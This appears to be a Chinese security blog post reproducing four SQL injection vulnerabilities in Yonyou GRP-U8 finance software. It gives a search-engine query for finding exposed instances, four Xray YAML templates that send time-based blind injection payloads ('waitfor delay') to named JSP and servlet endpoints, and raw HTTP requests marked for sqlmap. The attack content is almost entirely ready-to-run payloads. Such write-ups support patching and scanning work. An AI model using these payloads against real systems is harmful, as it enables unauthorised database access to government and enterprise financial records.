- 漏洞简介
用友GRP-U8R10产品官方在售及提供服务的版本为U8Manager,产品分B、C、G三个产品系列,以上受到本次通报漏洞的影响。用友GRP-U8存在obr_zdybxd_check等四个SQL注入漏洞。
- 漏洞复现
Quake语法:app:"用友GRP-U8"
- POC很简单,具体看Xray脚本,批量yaml文件
name: wfsec-yongyou-GRP-U8-bx_dj_check_sqli
transport: http
rules:
r0:
request:
method: GET
path: /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1
follow_redirects: false
expression: response.status == 200
output:
undelayedLantency: response.latency
r1:
request:
method: GET
path: /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'--
follow_redirects: false
expression: response.status == 200 && response.latency - undelayedLantency >= 5 * 1000 - 500
expression: r0() && r1()
detail:
author: wfsec
links:
- http://wfsec.com
name: wfsec-yongyou-GRP-U8-listSelectDialogServlet_sqli
transport: http
rules:
r0:
request:
method: GET
path: /listSelectDialogServlet?slType=slFZX&slCdtn=1
follow_redirects: false
expression: response.status == 200
output:
undelayedLantency: response.latency
r1:
request:
method: GET
path: /listSelectDialogServlet?slType=slFZX&slCdtn=1=2;waitfor%20delay%20%270:0:5%27
follow_redirects: false
expression: response.status == 200 && response.latency - undelayedLantency >= 5 * 1000 - 500
expression: r0() && r1()
detail:
author: wfsec
links:
- http://wfsec.com
name: wfsec-yongyou-GRP-U8-obr_zdybxd_check_sqli
transport: http
rules:
r0:
request:
method: GET
path: /u8qx/obr_zdybxd_check.jsp?mlid=1
follow_redirects: false
expression: response.status == 200
output:
undelayedLantency: response.latency
r1:
request:
method: GET
path: /u8qx/obr_zdybxd_check.jsp?mlid=1';waitfor+delay+'0:0:5'--
follow_redirects: false
expression: response.status == 200 && response.latency - undelayedLantency >= 5 * 1000 - 500
expression: r0() && r1()
detail:
author: wfsec
links:
- http://wfsec.com
name: wfsec-yongyou-GRP-U8-dialog_moreUser_check_sqli
transport: http
rules:
r0:
request:
method: GET
path: /u8qx/dialog_moreUser_check.jsp?mlid=1
follow_redirects: false
expression: response.status == 200
output:
undelayedLantency: response.latency
r1:
request:
method: GET
path: /u8qx/dialog_moreUser_check.jsp?mlid=';waitfor+delay+'0:0:5'--
follow_redirects: false
expression: response.status == 200 && response.latency - undelayedLantency >= 5 * 1000 - 500
expression: r0() && r1()
detail:
author: wfsec
links:
- http://wfsec.com
- xray结果也很直观
sqlmap payload 一一对应
# 1
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1* HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
# 2
GET /u8qx/dialog_moreUser_check.jsp?mlid=* HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
# 3
GET /listSelectDialogServlet?slType=slFZX&slCdtn=1=2* HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
# 4
GET /u8qx/obr_zdybxd_check.jsp?mlid=* HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
原文始发于微信公众号(文峰SEC):【漏洞复现】用友 GRP-U8-obr_zdybxd_check等四个SQL注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论